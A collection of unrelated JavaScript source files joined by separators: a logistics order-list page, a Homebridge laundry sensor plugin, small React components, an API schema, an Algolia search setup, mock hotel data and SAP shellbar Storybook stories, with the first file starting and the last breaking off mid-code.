// 拒收 RJCT 异常 EXCP
orderstatitem += '<ul class="listItem" orderstatus="'+isComponent+'" orderInd='+data[i].orderInd+' orderid ='+data[i].omOrderId+'>'+
'<li>'+data[i].orderNo+'<span class="associationNo">原单号:'+data[i].customerOriginalNo+'<input type="hidden" class="ordernum" value="'+data[i].orderNo+'" /><input type="hidden" class="sendaddress" value="'+data[i].stoAddress+'" /><input type="hidden" class="drivertel" value="'+data[i].stoContactTel+'" /></li>'+
'<li class="'+orderstatClass+'"></li>'+
'<li class="'+orderstatClass+'"></li>'+
'<li class="notdone"></li>'+
'<li class="disposeLi">处理</li>'+
'</ul>'
}else if(data[i].actCode == "ACPT" || data[i].actCode == "DONE"){
//签收ACPT 完成 DONE
orderstatitem += '<ul class="listItem" orderstatus="'+isComponent+'" orderInd='+data[i].orderInd+' orderid ='+data[i].omOrderId+'>'+
'<li>'+data[i].orderNo+'<span class="associationNo">原单号:'+data[i].customerOriginalNo+'<input type="hidden" class="ordernum" value="'+data[i].orderNo+'" /><input type="hidden" class="sendaddress" value="'+data[i].stoAddress+'" /><input type="hidden" class="drivertel" value="'+data[i].stoContactTel+'" /></li>'+
'<li class="'+orderstatClass+'"></li>'+
'<li class="'+orderstatClass+'"></li>'+
'<li class="'+orderstatClass+'"></li>'+
'<li class="disposeLi">处理</li>'+
'</ul>'
}
}
$(".orderList .listCon").append(orderstatitem);
}
},
error: function(xhr) {
// markmsg("不存在此账户");
}
});
}
//输入搜索条件查询
$(".searchCon .searchbtn").click(function(){
$(".orderList .listCon").html("");
$(".noContent").remove();
$(".searchLayer").hide();
pageNumVal = 1;
pages = 1;
var orderNoInp = $(".searchCon ul li .orderNo").val().trim();
var trackingNoInp = $(".searchCon ul li .trackingNo").val().trim();
var actCodeSelect = $(".searchCon ul li .statusSelect").val().trim();
var startCompleteTime = $("#startTime").val().trim();
var endCompleteTime = $("#endTime").val().trim();
if(startCompleteTime == "" || startCompleteTime == "null" || startCompleteTime == null){
}else{
pageInf.startCompleteTime = startCompleteTime
}
if(endCompleteTime == "" || endCompleteTime == "null" || endCompleteTime == null){
}else{
pageInf.endCompleteTime = endCompleteTime
}
pageInf.carDrvContactTel = logininf.mobilePhone
pageInf.orderNo = orderNoInp
pageInf.trackingNo = trackingNoInp
pageInf.actCode = actCodeSelect
pageInf.pageInfo.pageNum = "1";
orderListFun();
clickbtnTxt = "附件图片"
})
$(".header .right").click(function(){
$(".searchLayer").show();
})
$(".closeorderinf").click(function(){
$(".maskLayer").hide();
$(".maskLayer .popup").hide();
$(".maskLayer .popup5").hide();
});
$(".popup6 .popupTitle a").click(function(){
$(".maskLayer").hide();
$(".maskLayer .popup6").hide();
});
$(".popup .popupCon .popuptitle ul").on("click"," li .seeAnnex",function(){
$(".maskLayer .popup").hide();
$(".maskLayer .popup6").show();
$(".maskLayer").show();
var orderinf = {
refId: seeOrderDetailId
};
$.ajax({
url: omsUrl + '/select/orderReceiptImgBase64?token=' + logininf.token + '&timeStamp=' + logininf.timeStamp,
type: "post",
data: JSON.stringify(orderinf),
contentType: 'application/json',
success: function(data) {
//改变状态成功 隐藏弹窗
// console.log(data);
var imgLiEle = "";
if(data.result == "" ||data.result == null || data.result == "null"){
imgLiEle = "暂无附件图片";
}else{
for(var i = 0; i < data.result.length;i++){
imgLiEle += '<li><img src="'+ ImgWebsite + data.result[i].extValue +'" alt="" /></li>'
}
}
$(".popup5 .imgList").html(imgLiEle);
}
});
});
var seeOrderDetailId = "";
$(".orderList .listCon").on("click",".listItem",function(){
var orderid = $(this).attr("orderId");
var orderStatus = $(this).attr("orderStatus");
location.href = "strutsAction.html?orderid="+orderid+"&orderStatus="+orderStatus;
// var objectId = "";
// getRequest(umsUrl + '/query/objectByUser.json?token=' + logininf.token + "&userId=" + logininf.userId + "&objectType=menu&parentObjectCode=TENAPARTYMOBILE", function (data) {
// for (var i=0; i <data.result.length;i++) {
// if(data.result[i].objectCode == '/strutsAction.html'){
// objectId = data.result[i].umObjectId;
// location.href = "strutsAction.html?objectId="+objectId+"&orderid="+orderid+"&orderStatus="+orderStatus;
// break;
// }
// }
// });
});
// $(".orderList .listCon").on("click",".listItem .getLocationLi",function(e){
// e.stopPropagation();
// e.preventDefault();
// var itemOrderId = $(this).parents(".listItem").attr("orderid");
// var sendaddress = $(this).parents(".listItem").find(".sendaddress").val();
// localStorage.setItem("itemOrderId",itemOrderId);
// console.log(sendaddress);
// location.href = "map.html"
// })
function p(s) {
return s < 10 ? '0' + s: s;
}
function getCurrentTime2(mouthParmes){
var date1 = new Date();
date1.setMonth(date1.getMonth() - mouthParmes);
var year1 = date1.getFullYear();
var month1 = date1.getMonth() + 1;
var day = date1.getDate();
var sDate;
month1 = (month1 < 10 ? "0" + month1 : month1);
day = (day < 10 ? ('0' + day) : day);
var sDate = (year1.toString() + '-' + month1.toString() + '-' + day.toString());
return sDate;
}
})
|
import React from 'react';
const ReactDOM = require('react-dom');
import Top from '../components/Index-top';
const steamid = document.cookie.substring(document.cookie.indexOf(" steamid=")+9,document.cookie.indexOf(" steamid=")+26);
window.steamid = steamid;
Top.RenderTop();
$('body').scrollspy({ target: '#myScrollspy' })
|
$(function() {
$.getJSON("score/getScorePK", function(data) {
$("#img1").attr("src",data.person1.src);
$("#departSmall1").text(data.person1.department);
$("#roomSmall1").text(data.person1.room);
$("#name1").text(data.person1.name);
$("#img2").attr("src",data.person2.src);
$("#departSmall2").text(data.person2.department);
$("#roomSmall2").text(data.person2.room);
$("#name2").text(data.person2.name);
});
})
|
const http = require('http');
let Service;
let Characteristic;
module.exports = function(homebridge) {
Service = homebridge.hap.Service;
Characteristic = homebridge.hap.Characteristic;
homebridge.registerAccessory('homebridge-laundrify', 'laundrify', LaundrifySensor);
};
// --== MAIN CLASS ==--
class LaundrifySensor {
constructor(log, config) {
this.log = log;
// configuration
this.name = config['name'];
this.ipAddress = config['ipAddress'];
this.threshold = parseInt(config['threshold']);
this.interval = parseInt(config['interval']);
this.minimumTime = parseInt(config['minimumTime'])
this.enabledServices = [];
this.timer = null;
this.lastStateChange = new Date().getTime()
this.lastPullState = false;
this.initSensor();
}
// --== SETUP SERVICES ==--
initSensor() {
// info service
this.informationService = new Service.AccessoryInformation();
this.informationService
.setCharacteristic(Characteristic.Manufacturer, 'laundrify')
.setCharacteristic(Characteristic.Model, 'laundrify')
.setCharacteristic(Characteristic.SerialNumber, 'serial')
.setCharacteristic(Characteristic.FirmwareRevision, 'FIRMWARE');
this.enabledServices.push(this.informationService);
// this.log('Got information service');
// fan service
this.sensorService = new Service.ContactSensor(this.name);
this.sensorService
.getCharacteristic(Characteristic.ContactSensorState)
.on('get', this.getSensorState.bind(this));
this.enabledServices.push(this.sensorService);
var that = this;
this.timer = setInterval(function () {
that.pollStatus(that)
}, this.interval)
}
pollStatus(that) {
const status_url = 'http://' + that.ipAddress + '/status';
const req = http.get(status_url, res => {
let data = '';
res.on('data', (chunk) => {
data += chunk;
});
res.on('end', () => {
var statusObject = JSON.parse(data);
that.power = statusObject.power;
this.update(statusObject)
});
}).on("error", (err) => {
console.log('Could not connect to ' + this.name);
});
}
update(statusObject) {
var time = new Date().getTime()
this.log.debug("Last state change was at " + this.lastStateChange)
this.log.debug("now is " + time)
this.log.debug("time difference is " + (time-this.lastStateChange))
this.log.debug("minimum time is " + (this.minimumTime * 1000))
var isOn = (statusObject.power >= this.threshold);
if ((time - this.lastStateChange) >= (this.minimumTime * 1000)) {
this.log.debug("minimum time exceeded")
if (this.lastPullState != isOn) {
// got state change
this.log.debug(this.name + " state has changed")
this.sensorService.getCharacteristic(Characteristic.ContactSensorState).updateValue(isOn)
this.lastStateChange = new Date().getTime()
}
}
this.lastPullState = isOn;
}
getSensorState(callback) {
if (this.power >= this.threshold) {
callback(null, true);
} else {
callback(null, false);
}
}
getServices() {
return this.enabledServices;
}
}
|
import './js/templating';
import './js/localstorage';
import './styles.scss';
|
import React from 'react';
export default () => (
<h1>Oh, 404...</h1>
);
|
import React from 'react';
import logo from './logo.svg';
import './styles/App.css';
import { Trans } from 'react-i18next';
import AppRouter from './routes/AppRouter';
import { Link, BrowserRouter } from 'react-router-dom';
const App = () => {
return (<BrowserRouter>
<div className="App">
<header className="App-header">
<img src={logo} className="App-logo" alt="logo" />
<p>
<Trans>
Welcome To <b>React</b>
</Trans>
</p>
<div style={{ paddingBottom: 8}}>
<AppRouter />
</div>
<a
className="App-link"
href="https://reactjs.org"
target="_blank"
rel="noopener noreferrer"
>
<Trans>
Learn React
</Trans>
</a>
<div>
<Link to="/" style={{ marginRight: 16 }}>
Button Counter
</Link>
<Link to="/timer">
Time Counter
</Link>
</div>
</header>
</div>
</BrowserRouter>);
}
export default App;
|
export default from './QuestionBrick';
|
module.exports = {
userId: {
type: 'integer',
example: 7
},
name: {
type: 'string',
example: 'Pepito'
},
last_name: {
type: 'string',
example: 'Pérez'
},
userEmail: {
type: 'string',
example: 'pepito.perez@wolox.co'
},
password: {
type: 'string',
example: 'Test1234',
minimum: 8
},
CreationToken: {
type: 'object',
properties: {
email: {
$ref: '#/components/schemas/userEmail'
},
password: {
$ref: '#/components/schemas/password'
}
}
},
CreationUser: {
type: 'object',
properties: {
name: {
$ref: '#/components/schemas/name'
},
last_name: {
$ref: '#/components/schemas/name'
},
email: {
$ref: '#/components/schemas/userEmail'
},
password: {
$ref: '#/components/schemas/password'
}
}
},
User: {
allOf: [
{
type: 'object',
properties: {
id: {
$ref: '#/components/schemas/userId'
}
}
},
{ $ref: '#/components/schemas/CreationUser' }
]
},
Users: {
type: 'object',
properties: {
users: {
type: 'array',
items: {
$ref: '#/components/schemas/User'
}
}
}
}
};
|
var search = instantsearch({
// Replace with your own values
appId: 'DTH6V8NWJ2',
apiKey: 'fd1f8a02a87cf784faf55a8a686700e7', // search only API key, no ADMIN key
indexName: 'texts',
routing: true,
searchParameters: {
hitsPerPage: 200
}
});
/*texts.setSettings({
paginationLimitedTo: 5000
});*/
// Add this after the previous JavaScript code
search.addWidget(
instantsearch.widgets.searchBox({
container: '#search-input'
})
);
// Add this after the previous JavaScript code
search.addWidget(
instantsearch.widgets.hits({
container: '#hits',
templates: {
item: document.getElementById('hit-template').innerHTML,
empty: "We didn't find any results for the search <em>\"{{query}}\"</em>"
}
})
);
search.addWidget(
instantsearch.widgets.refinementList({
container: '#batch-refinement',
attributeName: 'batch',
templates: {
header: 'Batch'
}
})
);
search.addWidget(
instantsearch.widgets.refinementList({
container: '#sender-refinement',
attributeName: 'sender',
templates: {
header: 'Sender'
}
})
);
search.addWidget(
instantsearch.widgets.refinementList({
container: '#weekday-refinement',
attributeName: 'weekday',
templates: {
header: 'Day of the week'
}
})
);
search.addWidget(
instantsearch.widgets.rangeSlider({
container: '#date-slider',
attributeName: 'unixtimestamp',
templates: {
header: 'Date Filter'
},
tooltips: {
format: function(rawValue) {
var unix_timestamp = rawValue;
var date = new Date(unix_timestamp*1000);
var year = date.getFullYear().toString().substring(2);
var month = date.getMonth()+1;
var day = date.getDate();
var convdate = month+'/'+day+'/'+year;
return convdate;
}
},
pips: false,
})
);
// Add this after the other search.addWidget() calls
search.addWidget(
instantsearch.widgets.pagination({
container: '#pagination',
padding: 8,
autoHideContainer: true
})
);
// Add this after all the search.addWidget() calls
search.start();
|
import { AppBar, Grid, MenuItem, Toolbar } from "@material-ui/core";
import React from "react";
import { Link } from "react-router-dom";
export default function TopBar({ children }) {
return (
<AppBar position="static">
<Toolbar>
<Grid container justify="space-between" alignItems="center">
<Grid item>
<MenuItem component={Link} to="/">
AutoChef
</MenuItem>
</Grid>
<Grid item>{children}</Grid>
</Grid>
</Toolbar>
</AppBar>
);
}
|
export default () => (
<header>
Next.js test
</header>
);
|
#!/usr/bin/env node
import 'source-map-support/register';
import cdk = require('@aws-cdk/core');
import { StackLibraryStack } from '../lib/stack-library-stack';
const app = new cdk.App();
new StackLibraryStack(app, 'StackLibraryStack');
|
const hotel1 = {
"_id": "00001",
"name": "甘孜雍康酒店",
"address": "四川省德格县",
"hotel_location": {
"longitude": 108.8725926,
"latitude": 34.1927644
},
"contact_name": "王宏",
"contact_tel": "13812345678",
"room_capacity": 230,
"parking_capacity": 550,
"has_premier_room": "有",
"premier_room_capacity": 5,
"meals": ["早餐", "午餐" ],
"air_condition_type": ["暖气" , "空调"],
"network_condition": "无网络",
"photos": [
{"_updated": "Tue, 19 Jul 2016 14:48:39 GMT", "_created": "Tue, 19 Jul 2016 14:48:39 GMT", "_id": "578e3dc7fdebb82894af91e1", "file": {"length": 49859, "content_type": "image/png", "file": "/media/578e3dc7fdebb82894af91df", "name": "000-CSR???????.png"}}
],
"result": "这个酒店条件还行,可以选择",
"is_match_required": "满足"
}
const hotel2 = {
"_id": "00002",
"name": "德格宾馆",
"address": "四川省德格县",
"hotel_location": {
"longitude": 108.8725926,
"latitude": 34.1927644
},
"contact_name": "李军",
"contact_tel": "13812345678",
"room_capacity": 100,
"parking_capacity": 300,
"has_premier_room": "无",
"premier_room_capacity": "",
"meals": ["午餐", "晚餐"],
"air_condition_type": [""],
"network_condition": "",
"photos": [],
"result": "这个酒店条件凑合,可以选择",
"is_match_required": "满足"
}
module.exports = {
getHotelList: () => [hotel1, hotel2]
}
|
import React from "react";
const Figures = ({ confirmed, recovered, deaths }) => {
return (
<div className="figures__component text-font__wide">
<div className="figures__word">
{confirmed}
<span className="figures__word text-bold">Confirmed</span>
</div>
<div className="figures__word">
{recovered}
<span className="figures__word text-green text-bold">Recovered</span>
</div>
<div className="figures__word">
{deaths}
<span className="figures__word text-red text-bold">Deaths</span>
</div>
</div>
);
};
export default Figures;
// TODO: add comma in number
|
(function() {
App.findUrls = function( text )
{
var source = (text || '').toString();
var urlArray = [];
var url;
var matchArray;
// Regular expression to find FTP, HTTP(S) and email URLs.
var regexToken = /[-a-zA-Z0-9@:%_\+.~#?&\/\/=]{2,256}\.[a-z]{2,4}\b(\/[-a-zA-Z0-9@:%_\+.~#?&\/\/=]*)?/gi;
// Iterate through any URLs in the text.
while( (matchArray = regexToken.exec( source )) !== null )
{
var token = matchArray[0];
urlArray.push( token );
}
return urlArray;
}
})();
|
export const api_root = process.env.API_URL
export default {api_root}
|
// Ionic Starter App
// angular.module is a global place for creating, registering and retrieving Angular modules
// 'starter' is the name of this angular module example (also set in a <body> attribute in index.html)
// the 2nd parameter is an array of 'requires'
angular.module('starter', ['ionic', 'ngCordova'])
.run(function($ionicPlatform) {
$ionicPlatform.ready(function() {
// Hide the accessory bar by default (remove this to show the accessory bar above the keyboard
// for form inputs)
if(window.cordova && window.cordova.plugins.Keyboard) {
cordova.plugins.Keyboard.hideKeyboardAccessoryBar(true);
}
if(window.StatusBar) {
StatusBar.styleDefault();
}
});
})
.controller('ButtonController', function($cordovaFlashlight, $timeout, $ionicPlatform) {
var vm = this;
vm.active = false;
$ionicPlatform.ready(function(){
$cordovaFlashlight.available().then(function(availability) {
vm.toggle = function() {
vm.active = !vm.active;
// better to use ng-class, but i cant ...
// cause of toggle, digest is launched after ~ 500 ms ...
// especially when light on
/*var elt = document.getElementById('button');
if(active) {
elt.classList.add("power-on");
elt.classList.remove("power-off");
} else {
elt.classList.add("power-off");
elt.classList.remove("power-on");
}*/
$timeout(function() {$cordovaFlashlight.toggle();}, 500);
}
})
$ionicPlatform.on('pause', function() {
$cordovaFlashlight.switchOff();
});
$ionicPlatform.on('resume', function() {
if(vm.active) {
$cordovaFlashlight.switchOn();
}
});
});
})
|
import '../../dist/button.css';
import '../../dist/input-group.css';
import '../../dist/icon.css';
import '../../dist/menu.css';
import '../../dist/avatar.css';
import '../../dist/input-group.css';
import '../../dist/popover.css';
import '../../dist/product-switch.css';
import '../../dist/shellbar.css';
export default {
title: 'Components/Shellbar',
parameters: {
tags: ['f3', 'a11y', 'theme'],
description: `The shellbar offers consistent, responsive navigation across all products and applications.
Includes support for branding, product navigation, search, notifications, user settings, and CoPilot. This is a composite component comprised of mandatory and optional elements.
##How it works
- The shellbar should be placed inside the shell layout container.
- The shellbar is fluid and responsive by default with proper margins and padding built in.
- The shellbar has three primary containers groups —<code>product</code> for branding and product elements, <code>copilot</code> reserved for CoPilot, and <code>actions</code> for search, product links, and user settings.
- The shellbar actions are duplicated into the overflow menu on mobile screens.
Moving from left to right, the shellbar content will become more variable based on the product needs. See below for more details about child elements.
##Supported elements
The shellbar handles layout and has some built-in elements but relies on standalone components for much of its content.
* <code>.fd-shellbar__logo</code> (required) for company branding. Use <code>--image-replaced<code> modifier when using CSS to apply the logo.
* <code>.fd-shellbar__title</code> (required) displays the current application.
* <code>.fd-shellbar__subtitle</code> (optional) displays an application context. _This should be used rarely._
* <code>.fd-shellbar__action</code> (required) container for each product action and link.
* <code>.fd-shellbar__action--mobile</code> (optional) for product actions only visible on mobile screens.
* <code>.fd-shellbar__action--desktop</code> (optional) for product actions only visible on desktop screens.
* <code>.fd-avatar</code> (required) for user settings and application meta links such as Sign Out. [Accent colors between 11-15]({{site.baseurl}}/foundation/colors.html#accent) can be randomly assigned to the background.
* <code>.fd-product-switch</code> (optional) for navigating between products.
Here are examples of various configurations.
`
}
};
export const primary = () => `
<div style="height:150px">
<div class="fd-shellbar">
<div class="fd-shellbar__group fd-shellbar__group--product">
<span class="fd-shellbar__logo"><img src="//unpkg.com/fundamental-styles/dist/images/sap-logo.png" srcset="//unpkg.com/fundamental-styles/dist/images/sap-logo@2x.png 1x, //unpkg.com/fundamental-styles/dist/images/sap-logo@3x.png 2x, //unpkg.com/fundamental-styles/dist/images/sap-logo@4x.png 3x" width="48" height="24" alt="SAP"></span>
<span class="fd-shellbar__title">Corporate Portal</span>
</div>
<div class="fd-shellbar__group fd-shellbar__group--actions">
<div class="fd-shellbar__action">
<div class="fd-popover fd-popover--right">
<div class="fd-popover__control">
<div class="fd-button fd-shellbar__button fd-user-menu__control" aria-controls="WV3AY276" aria-expanded="false" aria-haspopup="true" role="button">
<span class="fd-avatar fd-avatar--xs fd-avatar--circle fd-shellbar__avatar--circle">WW</span>
</div>
</div>
<div class="fd-popover__body fd-popover__body--no-arrow fd-popover__body--right" aria-hidden="true" id="WV3AY276">
<nav class="fd-menu">
<ul class="fd-menu__list fd-menu__list--no-shadow">
<li class="fd-menu__item">
<a role="button" class="fd-menu__link">
<span class="fd-menu__title">Settings</span>
</a>
</li>
<li class="fd-menu__item">
<a role="button" class="fd-menu__link">
<span class="fd-menu__title">Sign Out</span>
</a>
</li>
</ul>
</nav>
</div>
</div>
</div>
</div>
</div>
</div>
`;
primary.parameters = {
docs: {
storyDescription: 'This example shows the minimum shellbar for a single application product with only user settings. If no user thumbnail is available then display initials.'
}
};
export const productMenuAndSearch = () => `
<div style="height:200px">
<div class="fd-shellbar">
<div class="fd-shellbar__group fd-shellbar__group--product">
<span class="fd-shellbar__logo">
<img src="//unpkg.com/fundamental-styles/dist/images/sap-logo.png" srcset="//unpkg.com/fundamental-styles/dist/images/sap-logo@2x.png 1x, //unpkg.com/fundamental-styles/dist/images/sap-logo@3x.png 2x, //unpkg.com/fundamental-styles/dist/images/sap-logo@4x.png 3x" width="48" height="24" alt="SAP">
</span>
<div class="fd-popover">
<div class="fd-popover__control">
<button class="fd-button fd-button--transparent fd-button--menu fd-shellbar__button--menu" onclick="onPopoverClick('9GLB26941');" aria-controls="9GLB26941" aria-haspopup="true" aria-expanded="false">
<span class="fd-shellbar__title">Corporate Portal</span>
<i class="sap-icon--megamenu fd-shellbar__button--icon"></i>
</button>
</div>
<div class="fd-popover__body fd-popover__body--no-arrow" aria-hidden="true" id="9GLB26941">
<nav class="fd-menu">
<ul class="fd-menu__list fd-menu__list--no-shadow">
<li class="fd-menu__item">
<a role="button" class="fd-menu__link">
<span class="fd-menu__title">Application A</span>
</a>
</li>
<li class="fd-menu__item">
<a role="button" class="fd-menu__link">
<span class="fd-menu__title">Application B</span>
</a>
</li>
<li class="fd-menu__item">
<a role="button" class="fd-menu__link">
<span class="fd-menu__title">Application C</span>
</a>
</li>
<li class="fd-menu__item">
<a role="button" class="fd-menu__link">
<span class="fd-menu__title">Application D</span>
</a>
</li>
</ul>
</nav>
</div>
</div>
<div class="fd-shellbar__subtitle">Subtitle</div>
</div>
<div class="fd-shellbar__group fd-shellbar__group--actions">
<div class="fd-shellbar__action fd-shellbar__action--desktop">
<div class="fd-popover__control">
<div aria-label="Image label" onclick="onPopoverClick('F4GcX348b')" aria-controls="F4GcX348b" aria-expanded="false" aria-haspopup="true">
<div class="fd-input-group fd-shellbar__input-group">
<input aria-label="search-input" type="text" class="fd-input fd-input-group__input fd-shellbar__input-group__input" id="F4GcX348b1" value="Search" placeholder="Search...">
<span class="fd-input-group__addon fd-shellbar__input-group__addon fd-input-group__addon--button">
<button aria-label="button-decline" class="fd-shellbar__button fd-button">
<i class="sap-icon--decline"></i>
</button>
</span>
</div>
</div>
</div>
</div>
<div class="fd-shellbar__action fd-shellbar__action--desktop">
<button class="fd-button fd-shellbar__button" aria-label="Search">
<i class="sap-icon--search"></i>
</button>
</div>
<div class="fd-shellbar__action">
<div class="fd-popover fd-popover--right">
<div class="fd-popover__control">
<div class="fd-button fd-shellbar__button fd-user-menu__control" aria-controls="ZY3AY276" onclick="onPopoverClick('ZY3AY276')" aria-expanded="false" aria-haspopup="true" role="button">
<span class="fd-avatar fd-avatar--xs fd-avatar--circle fd-avatar--thumbnail fd-shellbar__avatar--circle" style="background-image: url('http://lorempixel.com/50/50/abstract/3/');" aria-label="William Wallingham">WW</span>
</div>
</div>
<div class="fd-popover__body fd-popover__body--no-arrow fd-popover__body--right" aria-hidden="true" id="ZY3AY276">
<nav class="fd-menu">
<ul class="fd-menu__list fd-menu__list--no-shadow">
<li class="fd-menu__item">
<a role="button" class="fd-menu__link">
<span class="fd-menu__title">Settings</span>
</a>
</li>
<li class="fd-menu__item">
<a role="button" class="fd-menu__link">
<span class="fd-menu__title">Sign Out</span>
</a>
</li>
</ul>
</nav>
</div>
</div>
</div>
</div>
</div>
</div>
`;
productMenuAndSearch.parameters = {
docs: {
storyDescription: 'This example includes the product menu for navigating to applications within the product and shows a search box.'
}
};
export const linksWithCollapsibleMenu = () => `
<div style="height:150px">
<div class="fd-shellbar">
<div class="fd-shellbar__group fd-shellbar__group--product">
<span class="fd-shellbar__logo"><img src="//unpkg.com/fundamental-styles/dist/images/sap-logo.png" srcset="//unpkg.com/fundamental-styles/dist/images/sap-logo@2x.png 1x, //unpkg.com/fundamental-styles/dist/images/sap-logo@3x.png 2x, //unpkg.com/fundamental-styles/dist/images/sap-logo@4x.png 3x" width="48" height="24" alt="SAP"></span>
<span class="fd-shellbar__title">Corporate Portal</span>
</div>
<div class="fd-shellbar__group fd-shellbar__group--actions">
<div class="fd-shellbar__action fd-shellbar__action--desktop">
<div class="fd-popover__control">
<div aria-label="Image label" aria-controls="UIO6J688" aria-expanded="false" aria-haspopup="true">
<div class="fd-input-group fd-shellbar__input-group">
<input aria-label="search" type="text" class="fd-input fd-input-group__input fd-shellbar__input-group__input" id="UIO6J6881" value="Search" placeholder="Search...">
<span class="fd-input-group__addon fd-shellbar__input-group__addon fd-input-group__addon--button">
<button aria-label="navigation-down-arrow-button" class="fd-shellbar__button fd-button">
<i class="sap-icon--navigation-down-arrow"></i>
</button>
</span>
</div>
</div>
</div>
</div>
<div class="fd-shellbar__action fd-shellbar__action--desktop">
<button class="fd-button fd-shellbar__button" aria-label="Search">
<i class="sap-icon--search"></i>
</button>
</div>
<div class="fd-shellbar__action fd-shellbar__action--desktop">
<button class="fd-button fd-shellbar__button" aria-label="Notifications">
<i class="sap-icon--bell"></i>
<span class="fd-counter fd-counter--notification fd-shellbar__counter--notification" aria-label="Unread count">251234</span>
</button>
</div>
<div class="fd-shellbar__action fd-shellbar__action--desktop">
<button class="fd-button fd-shellbar__button" aria-label="Pool">
<i class="sap-icon--pool"></i>
</button>
</div>
<div class="fd-shellbar__action fd-shellbar__action--mobile">
<div class="fd-shellbar-collapse">
<div class="fd-popover fd-popover--right">
<div class="fd-popover__control">
<div class="fd-shellbar-collapse--control" onclick="onPopoverClick('CWaGX278')" aria-controls="CWaGX278" aria-expanded="false" aria-haspopup="true" role="button">
<button class="fd-button fd-shellbar__button" aria-controls="undefined" aria-haspopup="true" aria-expanded="false">
<i class="sap-icon--overflow"></i>
<span class="fd-counter fd-counter--notification fd-shellbar__counter--notification" aria-label="Unread count">25</span>
</button>
</div>
</div>
<div class="fd-popover__body fd-popover__body--no-arrow fd-popover__body--right" aria-hidden="true" id="CWaGX278">
<nav class="fd-menu">
<ul class="fd-menu__list fd-menu__list--no-shadow">
<li class="fd-menu__item">
<a role="button" class="fd-menu__link">
<span class="fd-menu__title">Search</span>
</a>
</li>
<li class="fd-menu__item">
<a role="button" class="fd-menu__link">
<span class="fd-menu__title">Notifications Out</span>
</a>
</li>
<li class="fd-menu__item">
<a role="button" class="fd-menu__link">
<span class="fd-menu__title">Pool</span>
</a>
</li>
</ul>
</nav>
</div>
</div>
</div>
</div>
<div class="fd-shellbar__action">
<div class="fd-popover fd-popover--right">
<div class="fd-popover__control">
<div class="fd-button fd-shellbar__button fd-user-menu__control" onclick="onPopoverClick('DD35G276')" aria-controls="DD35G276" aria-expanded="false" aria-haspopup="true" role="button">
<span class="fd-avatar fd-avatar--xs fd-avatar--circle fd-shellbar__avatarier--circle fd-shellbar__avatar--circle">WW</span>
</div>
</div>
<div class="fd-popover__body fd-popover__body--no-arrow fd-popover__body--right" aria-hidden="true" id="DD35G276">
<nav class="fd-menu">
<ul class="fd-menu__list fd-menu__list--no-shadow">
<li class="fd-menu__item">
<a role="button" class="fd-menu__link">
<span class="fd-menu__title">Settings</span>
</a>
</li>
<li class="fd-menu__item">
<a role="button" class="fd-menu__link">
<span class="fd-menu__title">Sign Out</span>
</a>
</li>
</ul>
</nav>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
`;
linksWithCollapsibleMenu.parameters = {
docs: {
storyDescription: 'When a product has multiple links, the product links should collapse into an overflow menu on mobile screens. All actions, except for the user menu, should be collapsed. See the placement of the `.fd-shellbar__action--mobile` container below.'
}
};
export const productSwitch = () => `
<div style="height:600px">
<div class="fd-shellbar">
<div class="fd-shellbar__group fd-shellbar__group--product">
<span class="fd-shellbar__logo">
<svg style="height: 32px; width: 64px" width="286" height="143" viewBox="0 0 286 143" xmlns="http://www.w3.org/2000/svg"><defs><linearGradient x1="-91.234%" y1="50%" x2="98.574%" y2="50%" id="a"><stop stop-color="#32B79D" stop-opacity=".59" offset="0%"/><stop stop-color="#33EAFF" stop-opacity=".59" offset="35.525%"/><stop stop-color="#7FCAFF" stop-opacity=".59" offset="73.603%"/><stop stop-color="#84A2FF" stop-opacity=".59" offset="100%"/></linearGradient></defs><g transform="translate(-19)" fill="url(#a)" fill-rule="evenodd"><path d="M114.232.963h190.464c0 16.966-13.754 30.72-30.72 30.72H83.512c0-16.966 13.754-30.72 30.72-30.72zM80.44 56.259h116.736c0 16.966-13.754 30.72-30.72 30.72H49.72c0-16.966 13.754-30.72 30.72-30.72zM49.72 111.555h18.432c0 16.966-13.754 30.72-30.72 30.72H19c0-16.966 13.754-30.72 30.72-30.72z"/></g></svg>
</span>
<span class="fd-shellbar__title">Corporate Portal</span>
</div>
<div class="fd-shellbar__group fd-shellbar__group--copilot">
<button class="fd-button fd-shellbar__button"><img src="//unpkg.com/fundamental-styles/dist/images/copilot.png" alt="CoPilot" height="30" width="30" /></button>
</div>
<div class="fd-shellbar__group fd-shellbar__group--actions">
<div class="fd-shellbar__action">
<div class="fd-popover fd-popover--right">
<div class="fd-popover__control">
<div class="fd-button fd-shellbar__button fd-user-menu__control" onclick="onPopoverClick('MKFAY276')" aria-controls="MKFAY276" aria-expanded="false" aria-haspopup="true" role="button">
<span class="fd-avatar fd-avatar--xs fd-avatar--circle fd-avatar--thumbnail fd-shellbar__avatar--circle" style="background-image: url('http://lorempixel.com/50/50/abstract/3/');" aria-label="William Wallingham">WW</span>
</div>
</div>
<div class="fd-popover__body fd-popover__body--no-arrow fd-popover__body--right" aria-hidden="true" id="MKFAY276">
<nav class="fd-menu">
<ul class="fd-menu__list fd-menu__list--no-shadow">
<li class="fd-menu__item">
<a role="button" class="fd-menu__link">
<span class="fd-menu__title">Settings</span>
</a>
</li>
<li class="fd-menu__item">
<a role="button" class="fd-menu__link">
<span class="fd-menu__title">Sign Out</span>
</a>
</li>
</ul>
</nav>
</div>
</div>
</div>
<div class="fd-shellbar__action fd-shellbar__action--desktop">
<div class="fd-product-switch">
<div class="fd-popover fd-popover--right">
<div class="fd-popover__control">
<button class="fd-button fd-button--transparent fd-popover__control fd-product-switch__control"
aria-label="Image label"
aria-controls="product-switch-body"
aria-expanded="true"
aria-haspopup="true"
onclick="onPopoverClick('product-switch-body')">
<i class="sap-icon--grid"></i>
</button>
</div>
<div class="fd-popover__body fd-popover__body--right" aria-hidden="false" id="product-switch-body">
<div class="fd-product-switch__body">
<ul class="fd-product-switch__list">
<li class="fd-product-switch__item">
<div class="fd-product-switch__icon sap-icon--home"></div>
<div class="fd-product-switch__text">
<div class="fd-product-switch__title">Home</div>
<div class="fd-product-switch__subtitle">Central Home</div>
</div>
</li>
<li class="fd-product-switch__item selected">
<div class="fd-product-switch__icon sap-icon--business-objects-experience"></div>
<div class="fd-product-switch__text">
<div class="fd-product-switch__title">Analytics Cloud</div>
<div class="fd-product-switch__subtitle">Analytics Cloud</div>
</div>
</li>
<li class="fd-product-switch__item">
<div class="fd-product-switch__icon sap-icon--contacts"></div>
<div class="fd-product-switch__text">
<div class="fd-product-switch__title">Catalog</div>
<div class="fd-product-switch__subtitle">Ariba</div>
</div>
</li>
<li class="fd-product-switch__item">
<div class="fd-product-switch__icon sap-icon--credit-card"></div>
